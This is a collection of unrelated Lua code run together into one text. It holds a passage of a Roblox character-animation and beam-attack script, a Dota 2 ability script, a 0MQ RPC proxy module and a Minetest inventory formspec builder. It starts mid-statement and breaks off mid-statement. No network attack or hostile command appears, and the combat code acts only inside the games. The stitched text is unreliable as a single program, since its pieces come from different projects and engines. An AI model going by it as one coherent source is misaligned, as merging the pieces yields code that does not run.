damagedground.Material = "Neon" damagedground.CanCollide = false damagedground.BrickColor = BrickColor.new(colors) damagedground.Anchored = true damagedground.CFrame = boom.CFrame * CFrame.Angles(math.rad(math.random(-180,180)),math.rad(math.random(-180,180)),math.rad(math.random(-180,180))) removeuseless:AddItem(damagedground,2) wait(.1) hitdebounce = false end end) Hit = damagealll(r+3,boom.Position) for _,v in pairs(Hit) do v:FindFirstChildOfClass("Humanoid"):TakeDamage(math.random(0,0)) vel = Instance.new("BodyVelocity",v:FindFirstChild("Torso") or v:FindFirstChild("UpperTorso")) vel.maxForce = Vector3.new(9999999999999,9999999999999,9999999999999) torso = v:FindFirstChild("Torso") or v:FindFirstChild("UpperTorso") vel.velocity = CFrame.new(boom.Position,torso.Position).lookVector*r removeuseless:AddItem(vel,.1) end swait() end removeuseless:AddItem(g1,.001) coroutine.wrap(function() for i = 1, 20 do bemmo.Volume = bemmo.Volume - 0.5 blass.Transparency = blass.Transparency + 0.05 TheBeam.Transparency = TheBeam.Transparency + 0.05 swait() end bemmo:Remove() if r > 15 then hum.CameraOffset = Vector3.new(0,0,0) end blass:Remove() TheBeam:Remove() end)() ws = 50 appi = false attacking = false debounce = false end end) mouse.KeyUp:connect(function(Press) Press=Press:lower() if Press=='j' then charging = false end end) mouse.KeyUp:connect(function(Press) Press=Press:lower() if Press=='k' then charging = false end end) doit = coroutine.wrap(function() while true do for _,v in pairs(Repeater) do v.Scale = v.Scale + Vector3.new(1, 1, 1) end for _,v in pairs(openshocktable) do v.Scale = v.Scale + Vector3.new(3, 3, 3) end for _,v in pairs(nonmeshRepeater) do v.Size = v.Size + Vector3.new(2, 2, 2) end for _,v in pairs(Extreme) do v.Size = v.Size + Vector3.new(6, 6, 6) end for _,v in pairs(LessSize) do v.Size = v.Size - Vector3.new(1, 1, 1) end for _,v in pairs(nonmeshRepeater2) do v.Transparency = v.Transparency + 0.05 end for _,v in pairs(Repeater2) do v.Transparency = v.Transparency - 0.05 end for _,v in pairs(th1) do v.CFrame = v.CFrame * CFrame.new(0,0+.3,0) * CFrame.Angles(0,math.rad(0+8),0) end for _,v in pairs(th2) do v.CFrame = v.CFrame * CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0+15),0) end for _,v in pairs(th3) do v.Scale = v.Scale + Vector3.new(2, 2, 2) end for _,v in pairs(th5) do v.Scale = v.Scale + Vector3.new(1, .1, 1) end for _,v in pairs(ExtremeM) do v.Size = v.Size + Vector3.new(8, 8, 8) end for _,v in pairs(m3) do v.Scale = v.Scale + Vector3.new(.2,.2,.2) end for _,v in pairs(ExtremeM2) do v.Size = v.Size - Vector3.new(2,2,2) end for _,v in pairs(keyYsize) do v.Scale = v.Scale + Vector3.new(8, 8, 1) end for _,v in pairs(th4) do v.Transparency = v.Transparency + 0.009 v.Rotation = v.Rotation + Vector3.new(3,0,0) end for _,v in pairs(SlowlyFade) do v.Transparency = v.Transparency + 0.05 end for _,v in pairs(keyYtransparency) do v.Transparency = v.Transparency + 0.05 end for _,v in pairs(UpMover) do v.Position = v.Position + Vector3.new(0, 3, 0) end for _,v in pairs(ForwardMover) do v.CFrame = v.CFrame * CFrame.new(0, 0, 2.4 +(i/.1)) * CFrame.Angles(0, 0, math.rad(0)) end for _,v in pairs(FadeIn) do v.Transparency = v.Transparency - .05 end for _,v in pairs(signtransparency) do v.TextTransparency = v.TextTransparency + 0.025 end for _,v in pairs(signmover) do v.StudsOffset = v.StudsOffset + Vector3.new(math.random(-2,2),.3,math.random(-2,2)) end for _,v in pairs(signrotator) do v.Rotation = v.Rotation + 2 end swait() end end) doit() t = 0 mouse.KeyDown:connect(function(Press) Press=Press:lower() if Press=='0' then if levitate then return end shoov = true if debounce then return end ws = 50 end end) mouse.KeyUp:connect(function(Press) Press=Press:lower() if Press=='0' then if levitate then return end shoov = false if debounce then return end ws = 10 end end) local anims = coroutine.wrap(function() while true do settime = 0.05 sine = sine + change if position == "Jump" and attacking == false then change = 1 LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1) RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1) LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.4) RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.4) ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.4) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.4,.1,-.2) * CFrame.Angles(math.rad(20),math.rad(-3),math.rad(-4)), 0.4) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.4,.1,-.2) * CFrame.Angles(math.rad(20),math.rad(3),math.rad(4)), 0.4) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.5, 2, 0) * CFrame.Angles(math.rad(10), math.rad(0), math.rad(0)), 0.4) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 1.0, .9) * CFrame.Angles(math.rad(20), math.rad(0), math.rad(0)), 0.4) elseif position == "Jump2" and attacking == false and levitate then change = 1 ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(-20 - 1 * math.sin(sine/9)), math.rad(0 + 0 * math.cos(sine/8)), math.rad(0) + Root.RotVelocity.Y / 30, math.cos(10 * math.cos(sine/10))), 0.3) LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.3) RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.3) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.5,.6,-.5) * CFrame.Angles(math.rad(32),math.rad(5 - .1 * math.sin(sine/12)),math.rad(40 - .5 * math.sin(sine/12))), 0.3) RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(-.2,1.2,-.3),.3) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.5,.6,-.5) * CFrame.Angles(math.rad(30),math.rad(-5 + .1 * math.sin(sine/12)),math.rad(-40 + .5 * math.sin(sine/12))), 0.3) LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(.2,1.2,-.3),.3) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.54, 1.4 + .1 * math.sin(sine/9), .4) * CFrame.Angles(math.rad(9 + 2 * math.cos(sine/9)), math.rad(0), math.rad(0)), 0.3) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.54, 2.0 + .02 * math.sin(sine/9), 0.2 + .1 * math.sin(sine/9)) * CFrame.Angles(math.rad(25 + 5 * math.sin(sine/9)), math.rad(20), math.rad(0)), 0.3) elseif position == "Falling" and attacking == false and levitate == false then change = 1 LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1) RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1) LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.4) RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.4) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.5, 2, 0) * CFrame.Angles(math.rad(8), math.rad(4), math.rad(0)), 0.2) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 1.0, .9) * CFrame.Angles(math.rad(14), math.rad(-4), math.rad(0)), 0.2) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.6, 0.5, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(20)), 0.2) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.6, 0.5, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-20)), 0.2) elseif position == "Falling2" and attacking == false and levitate then change = 1 ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(-20 - 1 * math.sin(sine/9)), math.rad(0 + 0 * math.cos(sine/8)), math.rad(0) + Root.RotVelocity.Y / 30, math.cos(10 * math.cos(sine/10))), 0.3) LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.3) RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.3) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.5,.6,-.5) * CFrame.Angles(math.rad(32),math.rad(5 - .1 * math.sin(sine/12)),math.rad(40 - .5 * math.sin(sine/12))), 0.3) RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(-.2,1.2,-.3),.3) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.5,.6,-.5) * CFrame.Angles(math.rad(30),math.rad(-5 + .1 * math.sin(sine/12)),math.rad(-40 + .5 * math.sin(sine/12))), 0.3) LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(.2,1.2,-.3),.3) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.54, 1.4 + .1 * math.sin(sine/9), .4) * CFrame.Angles(math.rad(9 + 2 * math.cos(sine/9)), math.rad(0), math.rad(0)), 0.3) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.54, 2.0 + .02 * math.sin(sine/9), 0.2 + .1 * math.sin(sine/9)) * CFrame.Angles(math.rad(25 + 5 * math.sin(sine/9)), math.rad(20), math.rad(0)), 0.3) elseif position == "Walking" and attacking == false and running == false then change = 1 walking = true LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1) RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.5,.6,-.5) * CFrame.Angles(math.rad(32),math.rad(5 - .1 * math.sin(sine/12)),math.rad(40 - .5 * math.sin(sine/12))), 0.3) RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(-.2,1.2,-.3),.3) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.5,.6,-.5) * CFrame.Angles(math.rad(30),math.rad(-5 + .1 * math.sin(sine/12)),math.rad(-40 + .5 * math.sin(sine/12))), 0.3) LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(.2,1.2,-.3),.3) ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(-10), math.rad(5 * math.cos(sine/7)), math.rad(0) + Root.RotVelocity.Y / 30, math.cos(25 * math.cos(sine/10))), 0.3) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.5, 1.92 - 0.35 * math.cos(sine/8)/2.8, 0.2 - math.sin(sine/8)/3.4) * CFrame.Angles(math.rad(10) + -math.sin(sine/8)/2.3, math.rad(0)*math.cos(sine/1), math.rad(0) + RightLeg.RotVelocity.Y / 30, math.cos(25 * math.cos(sine/8))), 0.3) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 1.92 + 0.35 * math.cos(sine/8)/2.8, 0.2 + math.sin(sine/8)/3.4) * CFrame.Angles(math.rad(10) - -math.sin(sine/8)/2.3, math.rad(0)*math.cos(sine/1), math.rad(0) + LeftLeg.RotVelocity.Y / 30, math.cos(25 * math.cos(sine/8))), 0.3) elseif position == "Idle" and attacking == false and running == false and not levitate then change = .5 ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, -.2 + -.1 * math.sin(sine/12), 0) * CFrame.Angles(math.rad(0),math.rad(25),math.rad(0)),.1) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.5,.6,-.5) * CFrame.Angles(math.rad(32),math.rad(5 - 1 * math.sin(sine/12)),math.rad(40 - 2 * math.sin(sine/12))), 0.1) RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(-.2,1.2,-.3),.1) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.5,.6,-.5) * CFrame.Angles(math.rad(30),math.rad(-5 + 1 * math.sin(sine/12)),math.rad(-40 + 2 * math.sin(sine/12))), 0.1) LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(.2,1.2,-.3),.1) RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.3, 2 - .1 * math.sin(sine/12), 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-10)), 0.1) LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.3, 2.0 - .1 * math.sin(sine/12), 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(10)), 0.1) elseif position == "Idle2" and attacking == false and running == false then change = .75 ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0 - 3 * math.sin(sine/9)),0,0),.1) RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1) LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(-.2,.2,0) * CFrame.Angles(0,0,0),.1) LEFTARMLERP.C1 = CFrame.new(0,0,0) * CFrame.Angles(0,0,0) RIGHTARMLERP.C1 = CFrame.new(0,0,0) * CFrame.Angles(0,0,0) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.6, 0.8 - .1 * math.sin(sine/9), 0) * CFrame.Angles(math.rad(0), math.rad(0 + 3 * math.sin(sine/9)), math.rad(35 - 5 * math.sin(sine/9))), 0.4) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.6, 0.8 - .1 * math.sin(sine/9), 0) * CFrame.Angles(math.rad(0), math.rad(0 - 3 * math.sin(sine/9)), math.rad(-35 + 5 * math.sin(sine/9))), 0.4) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.54, 1.4 + .1 * math.sin(sine/9), .4) * CFrame.Angles(math.rad(9 + 2 * math.cos(sine/9)), math.rad(0), math.rad(0)), 0.4) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 2.0,0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-10 + 2 * math.sin(sine/9))), 0.4) elseif position == "Walking2" and attacking == false and running == false then ws = 50 ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(-20 - 1 * math.sin(sine/9)), math.rad(0 + 0 * math.cos(sine/8)), math.rad(0) + Root.RotVelocity.Y / 30, math.cos(10 * math.cos(sine/10))), 0.3) LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.3) RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.3) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.5,.6,-.5) * CFrame.Angles(math.rad(32),math.rad(5 - .1 * math.sin(sine/12)),math.rad(40 - .5 * math.sin(sine/12))), 0.3) RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(-.2,1.2,-.3),.3) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.5,.6,-.5) * CFrame.Angles(math.rad(30),math.rad(-5 + .1 * math.sin(sine/12)),math.rad(-40 + .5 * math.sin(sine/12))), 0.3) LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(.2,1.2,-.3),.3) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.54, 1.4 + .1 * math.sin(sine/9), .4) * CFrame.Angles(math.rad(9 + 2 * math.cos(sine/9)), math.rad(0), math.rad(0)), 0.3) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.54, 2.0 + .02 * math.sin(sine/9), 0.2 + .1 * math.sin(sine/9)) * CFrame.Angles(math.rad(25 + 5 * math.sin(sine/9)), math.rad(20), math.rad(0)), 0.3) elseif position == "Running" and attacking == false then change = 1 RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(1.24+.6*math.sin(sine/4)/1.4, 0.54, 0+0.8*math.sin(sine/4)) * CFrame.Angles(math.rad(6-140*math.sin(sine/4)/1.2), math.rad(0), math.rad(-20+70*math.sin(sine/4))), 0.3) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(0, .5, 0)*CFrame.Angles(math.rad(0),math.rad(0),math.rad(0)), 0.3) LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(-1.24+.6*math.sin(sine/4)/1.4, 0.54, 0-0.8*math.sin(sine/4))*CFrame.Angles(math.rad(6+140*math.sin(sine/4)/1.2), math.rad(0), math.rad(20+70*math.sin(sine/4))), 0.3) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(0,.5,0)*CFrame.Angles(math.rad(0),math.rad(0),math.rad(0)),.3) ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, -.2, 0) * CFrame.Angles(math.rad(-20 - 0 * math.sin(sine/4)), math.rad(0 + 6 * math.sin(sine/4)), math.rad(0) + Root.RotVelocity.Y / 30, math.sin(10 * math.sin(sine/4))), 0.3) RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,-.2 + .5*-math.sin(sine/4)),.3) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.5, 1.6+0.1*math.sin(sine/4),.7*-math.sin(sine/4)) * CFrame.Angles(math.rad(15+ -50 * math.sin(sine/4)),0,0),.3) LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,-.2 + .5*math.sin(sine/4)),.3) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 1.6-0.1*math.sin(sine/4),.7*math.sin(sine/4)) * CFrame.Angles(math.rad(15 + 50 * math.sin(sine/4)),0,0),.3) end swait() end end) anims()
--[[ Author: kritth Date: 11.01.2015. If attack item, shouldn't be dispell, else remove modifier ]] function vendetta_attack( keys ) if not keys.target:IsUnselectable() or keys.target:IsUnselectable() then -- This is to fail check if it is item. If it is item, error is expected -- Variables local caster = keys.caster local target = keys.target local ability = keys.ability local modifierName = "modifier_vendetta_buff_datadriven" local abilityDamage = ability:GetLevelSpecialValueFor( "bonus_damage", ability:GetLevel() - 1 ) local abilityDamageType = ability:GetAbilityDamageType() -- Deal damage and show VFX local fxIndex = ParticleManager:CreateParticle( "particles/units/heroes/hero_nyx_assassin/nyx_assassin_vendetta.vpcf", PATTACH_CUSTOMORIGIN, caster ) ParticleManager:SetParticleControl( fxIndex, 0, caster:GetAbsOrigin() ) ParticleManager:SetParticleControl( fxIndex, 1, target:GetAbsOrigin() ) StartSoundEvent( "Hero_NyxAssassin.Vendetta.Crit", target ) local damageTable = { victim = target, attacker = caster, damage = abilityDamage, damage_type = abilityDamageType } ApplyDamage( damageTable ) keys.caster:RemoveModifierByName( modifierName ) end end
-- create a server for a published API -- the api_description is used to create new methods on the fly -- that receive data from 0MQ channels, unpack and validate parameters -- the methods are either published on a channel and to the registry -- or bound to an existing 0MQ run loop -- marshalling is transparent to the provider of the API -- -- copyright 2014 Samuel Baird MIT Licence local string = require('string') local table = require('table') local cmsgpack = require('cmsgpack') -- core modules local class = require('core.class') local array = require('core.array') -- rascal require('rascal.base') local api = require('rascal.proxy.api') local client = require('rascal.proxy.client') return class(function (proxy) function proxy:init(target, api_description, channel, socket_type, publish_service_id) self.target = target self.api_description = api_description self.channel = channel self.socket_type = socket_type -- proxy all the methods of the api_description local api = api(api_description) if socket_type == zmq.PUB then -- target is not used for _, method in ipairs(api.methods) do self[method.name] = client.create_proxy_method(method.name, socket_type, method) end else for _, method in ipairs(api.methods) do self[method.name] = proxy.create_proxy_method(method.name, method) end end if channel and socket_type then self:bind(channel, socket_type) if socket_type == zmq.SUB then for _, method in ipairs(api.methods) do self.socket:subscribe(method.name) end end end if publish_service_id then self:publish(publish_service_id) end end function proxy:publish(publish_service_id, publish_socket_type) local rascal = require('rascal.core') if not publish_socket_type then if self.socket_type == zmq.PULL then publish_socket_type = zmq.PUSH elseif self.socket_type == zmq.PUB then publish_socket_type = zmq.SUB else publish_socket_type = zmq.REQ end end rascal.registry:publish(publish_service_id, self.channel, publish_socket_type, self.api_description) end function proxy:route_request(routing, command, params) local output = array() for _, r in ipairs(routing) do output:push(r) end output:push(command) output:push(cmsgpack.pack(params)) self.socket:send_all(output) end function proxy:route_response(routing, response) local output = array() for _, r in ipairs(routing) do output:push(r) end output:push(cmsgpack.pack(response)) self.socket:send_all(output) end function proxy:bind(channel, socket_type) -- prep the coms self.channel = channel self.socket_type = socket_type self.socket = ctx:socket(socket_type) if socket_type == zmq.SUB then self.socket:connect(channel) elseif socket_type == zmq.PUB then self.socket:bind(channel) return else self.socket:bind(channel) end -- add to loop loop:add_socket(self.socket, function (socket) local input = socket:recv_all() -- marshall the input -- any leading values are routing information local routing = array() for i = 1, #input - 2 do routing:push(input[i]) end -- the last two are considered command + params local command = input[#input - 1] local succcess, params = pcall(cmsgpack.unpack, input[#input]) if not succcess then log('error unpacking parameters in remote call to ' .. command) end -- call the function via the proxy if socket_type == zmq.ROUTER then -- the incoming routing is stored as a ref on the proxy -- as this value only has meaning to the router that received it self.routing = routing -- routing is passed in as an additional parameter local success, result = pcall(self[command], self, params) if not success then log('proxy router error on ' .. command, result) end else local success, result = pcall(self[command], self, params) if not success then log('proxy error on ' .. command, result) end -- return the result if required if socket_type == zmq.REP then local output = { cmsgpack.pack({ success = success, result = result, }) } socket:send_all(output) end end end) end function proxy.create_proxy_method(name, method) local method_code = array() -- add a preamble where self and the parameters are the input local arg_names = array() arg_names:push('self') arg_names:push('input') method_code:push('local ' .. table.concat(arg_names, ', ') .. ' = ...') -- make locals for all of the required fields arg_names = array() for _, parameter in ipairs(method.parameters) do arg_names:push(parameter.name) method_code:push('local ' .. parameter.name .. ' = ' .. 'input.' .. parameter.name) -- TODO: add api_description code to verify each parameter method_code:push('-- TODO: verify ' .. parameter.name) end -- call the method on the proxy target with the appropriate parameters method_code:push('return self.target:' .. name.. '(' .. table.concat(arg_names, ', ') .. ')') local code = table.concat(method_code, '\n') local proxy_method, compile_error = loadstring(code) if not proxy_method then error('error creating proxy ' .. compile_error .. '\n' .. code) end return proxy_method end end)
local S = unified_inventory.gettext -- This pair of encoding functions is used where variable text must go in -- button names, where the text might contain formspec metacharacters. -- We can escape button names for the formspec, to avoid screwing up -- form structure overall, but they then don't get de-escaped, and so -- the input we get back from the button contains the formspec escaping. -- This is a game engine bug, and in the anticipation that it might be -- fixed some day we don't want to rely on it. So for safety we apply -- an encoding that avoids all formspec metacharacters. function unified_inventory.mangle_for_formspec(str) return string.gsub(str, "([^A-Za-z0-9])", function (c) return string.format("_%d_", string.byte(c)) end) end function unified_inventory.demangle_for_formspec(str) return string.gsub(str, "_([0-9]+)_", function (v) return string.char(v) end) end function unified_inventory.get_per_player_formspec(player_name) local lite = unified_inventory.lite_mode and not minetest.check_player_privs(player_name, {ui_full=true}) local ui = {} ui.pagecols = unified_inventory.pagecols ui.pagerows = unified_inventory.pagerows ui.page_y = unified_inventory.page_y ui.formspec_y = unified_inventory.formspec_y ui.main_button_x = unified_inventory.main_button_x ui.main_button_y = unified_inventory.main_button_y ui.craft_result_x = unified_inventory.craft_result_x ui.craft_result_y = unified_inventory.craft_result_y ui.form_header_y = unified_inventory.form_header_y if lite then ui.pagecols = 4 ui.pagerows = 6 ui.page_y = 0.25 ui.formspec_y = 0.47 ui.main_button_x = 8.2 ui.main_button_y = 6.5 ui.craft_result_x = 2.8 ui.craft_result_y = 3.4 ui.form_header_y = -0.1 end ui.items_per_page = ui.pagecols * ui.pagerows return ui, lite end function unified_inventory.get_formspec(player, page) if not player then return "" end local player_name = player:get_player_name() local ui_peruser,draw_lite_mode = unified_inventory.get_per_player_formspec(player_name) unified_inventory.current_page[player_name] = page local pagedef = unified_inventory.pages[page] local formspec = { "size[14,10]", "background[-0.19,-0.25;14.4,10.75;ui_form_bg.png]" -- Background } local n = 3 if draw_lite_mode then formspec[1] = "size[11,7.7]" formspec[2] = "background[-0.19,-0.2;11.4,8.4;ui_form_bg.png]" end if unified_inventory.is_creative(player_name) and page == "craft" then formspec[n] = "background[0,"..(ui_peruser.formspec_y + 2)..";1,1;ui_single_slot.png]" n = n+1 end -- Current page if not unified_inventory.pages[page] then return "" -- Invalid page name end local perplayer_formspec = unified_inventory.get_per_player_formspec(player_name) local fsdata = pagedef.get_formspec(player, perplayer_formspec) formspec[n] = fsdata.formspec n = n+1 local button_row = 0 local button_col = 0 -- Main buttons local filtered_inv_buttons = {} for i, def in pairs(unified_inventory.buttons) do if not (draw_lite_mode and def.hide_lite) and (not def.show_with or minetest.check_player_privs(player_name, {[def.show_with] = true})) then table.insert(filtered_inv_buttons, def) end end for i, def in pairs(filtered_inv_buttons) do if draw_lite_mode and i > 4 then button_row = 1 button_col = 1 end if def.type == "image" then formspec[n] = "image_button[" formspec[n+1] = ( ui_peruser.main_button_x + 0.65 * (i - 1) - button_col * 0.65 * 4) formspec[n+2] = ","..(ui_peruser.main_button_y + button_row * 0.7)..";0.8,0.8;" formspec[n+3] = minetest.formspec_escape(def.image)..";" formspec[n+4] = minetest.formspec_escape(def.name)..";]" formspec[n+5] = "tooltip["..minetest.formspec_escape(def.name) formspec[n+6] = ";"..(def.tooltip or "").."]" n = n+7 end end if fsdata.draw_inventory ~= false then -- Player inventory formspec[n] = "listcolors[#00000000;#00000000]" formspec[n+1] = "list[current_player;main;0,"..(ui_peruser.formspec_y + 3.5)..";8,4;]" n = n+2 end if fsdata.draw_item_list == false then return table.concat(formspec, "") end -- Controls to flip items pages local start_x = 9.2 if not draw_lite_mode then formspec[n] = "image_button[" .. (start_x + 0.6 * 0) .. ",9;.8,.8;ui_skip_backward_icon.png;start_list;]" .. "tooltip[start_list;" .. minetest.formspec_escape(S("First page")) .. "]" .. "image_button[" .. (start_x + 0.6 * 1) .. ",9;.8,.8;ui_doubleleft_icon.png;rewind3;]" .. "tooltip[rewind3;" .. minetest.formspec_escape(S("Back three pages")) .. "]" .. "image_button[" .. (start_x + 0.6 * 2) .. ",9;.8,.8;ui_left_icon.png;rewind1;]" .. "tooltip[rewind1;" .. minetest.formspec_escape(S("Back one page")) .. "]" .. "image_button[" .. (start_x + 0.6 * 3) .. ",9;.8,.8;ui_right_icon.png;forward1;]" .. "tooltip[forward1;" .. minetest.formspec_escape(S("Forward one page")) .. "]" .. "image_button[" .. (start_x + 0.6 * 4) .. ",9;.8,.8;ui_doubleright_icon.png;forward3;]" .. "tooltip[forward3;" .. minetest.formspec_escape(S("Forward three pages")) .. "]" .. "image_button[" .. (start_x + 0.6 * 5) .. ",9;.8,.8;ui_skip_forward_icon.png;end_list;]" .. "tooltip[end_list;" .. minetest.formspec_escape(S("Last page")) .. "]" else formspec[n] = "image_button[" .. (8.2 + 0.65 * 0) .. ",5.8;.8,.8;ui_skip_backward_icon.png;start_list;]" .. "tooltip[start_list;" .. minetest.formspec_escape(S("First page")) .. "]" .. "image_button[" .. (8.2 + 0.65 * 1) .. ",5.8;.8,.8;ui_left_icon.png;rewind1;]" .. "tooltip[rewind1;" .. minetest.formspec_escape(S("Back one page")) .. "]" .. "image_button[" .. (8.2 + 0.65 * 2) .. ",5.8;.8,.8;ui_right_icon.png;forward1;]" .. "tooltip[forward1;" .. minetest.formspec_escape(S("Forward one page")) .. "]" .. "image_button[" .. (8.2 + 0.65 * 3) .. ",5.8;.8,.8;ui_skip_forward_icon.png;end_list;]" .. "tooltip[end_list;" .. minetest.formspec_escape(S("Last page")) .. "]" end n = n+1 -- Search box formspec[n] = "field_close_on_enter[searchbox;false]" n = n+1 if not draw_lite_mode then formspec[n] = "field[9.5,8.325;3,1;searchbox;;" .. minetest.formspec_escape(unified_inventory.current_searchbox[player_name]) .. "]" formspec[n+1] = "image_button[12.2,8.1;.8,.8;ui_search_icon.png;searchbutton;]" .. "tooltip[searchbutton;" ..S("Search") .. "]" else formspec[n] = "field[8.5,5.225;2.2,1;searchbox;;" .. minetest.formspec_escape(unified_inventory.current_searchbox[player_name]) .. "]" formspec[n+1] = 